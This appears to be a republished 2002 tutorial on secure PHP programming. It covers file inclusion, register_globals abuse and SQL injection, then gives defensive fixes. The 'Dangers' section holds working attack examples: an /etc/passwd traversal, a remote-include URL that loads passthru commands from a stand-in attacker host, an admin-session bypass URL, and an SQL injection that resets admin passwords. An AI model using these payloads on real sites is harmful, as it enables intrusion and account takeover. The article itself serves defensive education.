热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SecureProgramminginPHP

ByThomasOertliJanuary30,2002IntroductionDangersFilesGlobalVariablesSQLSecureProgrammingAwarenessCheckUserVariablesMastertheGlobalVariableScopeLoggingConclusionA
By Thomas Oertli



January 30, 2002





Introduction

Dangers



Files



Global Variables



SQL

Secure Programming


Awareness



Check User Variables



Master the
Global Variable Scope



Logging

Conclusion

About the Author







Introduction

The goal of this paper is not only to show common threats
and challenges of programming secure PHP applications but also to show you practical methods for doing so. The wonderful thing about PHP is that people with little or even no programming experience are able to achieve simple goals very quickly. The problem, on the other hand, is that many programmers are not really conscious about what is going behind the curtains. Security and convenience do not often go hand in hand -- but they can.





Dangers



Files

PHP has some very flexible file handling functions
. The include(), require() and fopen() functions accept local path names as well as remote files using URLs. A lot of vulnerabilities I have seen are due to incorrect handling of dynamic file or path names.



Example

On a site I will not mention in this article
(because the problem still has not been solved) has one script which includes various HTML files and displays them in the proper layout. Have a look at the following URL:



http
://example.com/page.php?i=aboutus.html



The variable $i obviously contains the file name to be included. When you see a URL like this, a lot of questions should come to your mind:



Has the programmer considered directory traversals like i=../../../etc/passwd?

Does he check for the .html extension?

Does he use fopen() to include the files?

Has he thought about not allowing remote files?

In this case, every answer was negative. Time to play! Of course, it is now possible to read all the files the httpd user has read access for. But what is even more exciting is the fact that the include() function is used to include the HTML file. Consider this:



http://example.com/page.php?i=http://evilhacker.org/exec.html



Where exec.html contains a couple of lines of code:




passthru (’id’);

passthru (’ls -al /etc’);

passthru (’ping -c 1 evilhaxor.org’);

passthru (’echo You have been hax0red | mail root’);

?>



I am sure you get the idea
. A lot of bad things can be done from here.



Global Variables

Per
default, PHP writes most of the variables into the global scope. Of course, this is very convenient. On the other hand, you can get lost in large scripts very quickly. Where did that variable come from? If it is not set, where could it come from? All EGPCS (Environment, GET, POST, COOKIE, and Server) variables are put into the global scope.



The
global associative arrays $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS and $HTTP_SESSION_VARS will be created when the configuration directive track_vars is set. This allows you to look for a variable only in the place you expect it to come from. Note: As of PHP 4.0.3, track_vars is always turned on.



Example

This security hole was reported to the Bugtraq mailing
list by Ismael Peinado Palomo on July 25th, 2001. Mambo Site Server 3.0.x, a dynamic portal engine and content management tool based on PHP and MySQL, is vulnerable to a typical global scope exploit. The code has been modified and simplified.



Under the ’admin/’ directory, index.php checks whether the password matches the one in the database after posting the form:




if ($dbpass == $pass) {

session_register
("myname");

session_register
("fullname");

session_register
("userid");

header
("Location: index2.php");

}

?>



When the passwords match
, the variables $myname, $fullname and $userid are registered as session variables. The user then gets redirected to index2.php. Let us see what happens there:




if (!$PHPSESSID) {

header
("Location: index.php");

exit(0);

} else {

session_start
();

if (!$myname) session_register("myname");

if (!$fullname) session_register("fullname");

if (!$userid) session_register("userid");

}

?>



If the session ID has not been set, the user will be directed back to the login screen. If there is a session ID, though, the script will resume the session and will put the previously set session variables into the global scope. Nice. Let us see how we can exploit this. Consider the following URL:



http
://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=joey&userid=admin



The GET variables $PHPSESSID, $myname, $fullname and $userid are created as global variables per default. So when you look at the if-else-structure above, you will notice that the script figures $PHPSESSID is set and that the three variables dedicated to authorize and identify the user can be set to anything you want. The database has not even been queried. A quick fix for this problem -- by far not the perfect one -- would be to check for $HTTP_SESSION_VARS[’userid’] or $_SESSION[’userid’] (PHP => v4.1.0) instead of $userid. If you are serious about making secure web applications read chapter 3.3.



SQL

Programming in PHP would be boring without a decent SQL database connected to the web server. However, assembling SQL queries with unchecked variables is a dangerous thing to do.



Example

The following bug in PHP-Nuke 5.x has been reported to the Bugtraq mailing on August 3, 2001. It is actually a combination of exploiting global variables and an unchecked SQL query variable.



The PHP-Nuke developers decided to add the "nuke" prefix to all tables in order to avoid conflicts with other scripts. The prefix can be changed when multiple Nuke sites are run using the same database. Per default, $prefix = "nuke"; is defined in the configuration file config.php.



Let us now look at a few lines from the script article.php.




if (!isset($mainfile)) {

include("mainfile.php");

}

if (!isset($sid) && !isset($tid)) {

exit();

}

?>



And a bit further down: the SQL query.




mysql_query
("UPDATE $prefix"._stories.

" SET counter=counter+1 where sid=$sid");

?>



To change the SQL query
, we need to make sure $prefix is not set to its default value so we can set an arbitrary value via GET. The configuration file config.php is included in mainfile.php. As we know from the last chapter, we can set the variables $mainfile, $sid and $tid to any value using GET parameters. By doing so, the script will think mainfile.php has been included and $prefix has been set accordingly. Now, we are in a position to execute any SQL query starting with UPDATE. So the following query will set all admin passwords to ’1’:



http
://example.com/article.php?mainfile=1&sid=1&tid=1&prefix=nuke.authors%20set%20pwd=1%23



The query now looks like this
:



UPDATE nuke
.nuke_authors set pwd=1#_stories

SET counter
=counter+1 where sid=$sid");



Of course, anything after # will be considered as a comment and will be ignored.





Secure Programming



Awareness

Before taking any technical measures, you have to realize that you cannot trust any input from external sources. Whether it is a GET or POST parameter or even a COOKIE, it can be set to anything. User-side Javascript form checks will not make any difference. ;)



Check User Variables

Every external variable has to be verified. In many cases you can just use type casting. For example, when you pass a database table id as a GET parameter the following line would do the trick:



$id = (int)$HTTP_GET_VARS[’id’];





or



$id = (int)$_GET[’id’]; /* (PHP => v4.1.0) */



Now you can be sure $id contains an integer. If somebody tried to modify your SQL query by passing a string, the value would simply be 0. Checking strings is a little more difficult. In my opinion, the only professional way to do this is by using regular expressions. I know that many of you try to avoid them but -- believe me -- they are great fun once you got the basic idea. As an example, the variable $i from chapter 2.1. can be verified with this expression:




if (ereg("
^[a-z]+\.html$", $id)) {

echo "
Good!";

} else {

die("
Try hacking somebody else’s site.");

}

?>



This script will only continue when the $id variable contains a file name starting with some lowercase alphabetic characters and ending with a .html extension. I will not go into regular expression details but I strongly recommend you the book "
Mastering Regular Expressions" by Jeffrey E. F. Friedl (O’Reilly).



Master the Global Variable Scope

I am glad I did not have much time to write this article in early December 2001, because in the meantime Andi and Zeev added some very useful arrays in PHP v4.1.0: $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV and $_SESSION. These variables deprecate the old $HTTP_*_VARS arrays and can be used regardless of the scope. There is no need to import them using the global statement within functions.



Do yourself a favour and turn the configuration directive register_globals off. This will cause your GET, POST, COOKIE, Server, Environment and Session variables not to be in the global scope anymore. Of course, this requires you to change your coding practice a little. But it is definitely a good thing to know where your variables come from. It will help you prevent security holes described in chapter 2.2. This simple example will show you the difference:



Bad:




function session_auth_check() {

global $auth;

if (!$auth) {

die("
Authorization required.");

}

}

?>



Good:




function session_auth_check() {

if (!$_SESSION[’auth’]) {

die("
Authorization required.");

}

}

?>



Logging

In a production environment it is a good idea to set the error_reporting level to 0. Use the error_log() function to log errors to a file or even alert yourself via e-mail.



If you are really concerned about security, you can even do some preventive "
intrusion detection". For example, you could send yourself an e-mail alert when somebody plays with GET/POST/COOKIE parameters and the regular expression function returns false accordingly.





Conclusion

Programming securely definitely needs a little more time than the "
Wow, it works!" technique. But as you can see by the examples, you cannot afford to ignore security. I hope I could make you think about how to improve your existing applications and especially how to change your programming practice in the future. Happy hacking!

About the author

Thomas Oertli is a PHP programmer
and Linux systems administrator for Zurich/Switzerland based limone AG. He also does freelance IT security projects (penetration testing and hardening).
推荐阅读
  • Docker的安全基准
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • PHP 5.2.5 安装与配置指南
    本文详细介绍了 PHP 5.2.5 的安装和配置步骤,帮助开发者解决常见的环境配置问题,特别是上传图片时遇到的错误。通过本教程,您可以顺利搭建并优化 PHP 运行环境。 ... [详细]
  • 本文详细介绍了 Dockerfile 的编写方法及其在网络配置中的应用,涵盖基础指令、镜像构建与发布流程,并深入探讨了 Docker 的默认网络、容器互联及自定义网络的实现。 ... [详细]
  • PHP 编程疑难解析与知识点汇总
    本文详细解答了 PHP 编程中的常见问题,并提供了丰富的代码示例和解决方案,帮助开发者更好地理解和应用 PHP 知识。 ... [详细]
  • 在计算机技术的学习道路上,51CTO学院以其专业性和专注度给我留下了深刻印象。从2012年接触计算机到2014年开始系统学习网络技术和安全领域,51CTO学院始终是我信赖的学习平台。 ... [详细]
  • Linux 系统启动故障排除指南:MBR 和 GRUB 问题
    本文详细介绍了 Linux 系统启动过程中常见的 MBR 扇区和 GRUB 引导程序故障及其解决方案,涵盖从备份、模拟故障到恢复的具体步骤。 ... [详细]
  • 本文详细介绍了如何在Linux系统上安装和配置Smokeping,以实现对网络链路质量的实时监控。通过详细的步骤和必要的依赖包安装,确保用户能够顺利完成部署并优化其网络性能监控。 ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • 本文深入探讨 MyBatis 中动态 SQL 的使用方法,包括 if/where、trim 自定义字符串截取规则、choose 分支选择、封装查询和修改条件的 where/set 标签、批量处理的 foreach 标签以及内置参数和 bind 的用法。 ... [详细]
  • Windows服务与数据库交互问题解析
    本文探讨了在Windows 10(64位)环境下开发的Windows服务,旨在定期向本地MS SQL Server (v.11)插入记录。尽管服务已成功安装并运行,但记录并未正确插入。我们将详细分析可能的原因及解决方案。 ... [详细]
  • This guide provides a comprehensive step-by-step approach to successfully installing the MongoDB PHP driver on XAMPP for macOS, ensuring a smooth and efficient setup process. ... [详细]
  • 探讨如何高效使用FastJSON进行JSON数据解析,特别是从复杂嵌套结构中提取特定字段值的方法。 ... [详细]
  • 如何在PHPcms网站中添加广告
    本文详细介绍了在PHPcms网站后台添加广告的方法,涵盖多种常见的广告形式,如百度广告和Google广告,并提供了相关设置的步骤。同时,文章还探讨了优化网站流量的SEO策略。 ... [详细]
  • 前言--页数多了以后需要指定到某一页(只做了功能,样式没有细调)html ... [详细]
author-avatar
mobiledu2502930997
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有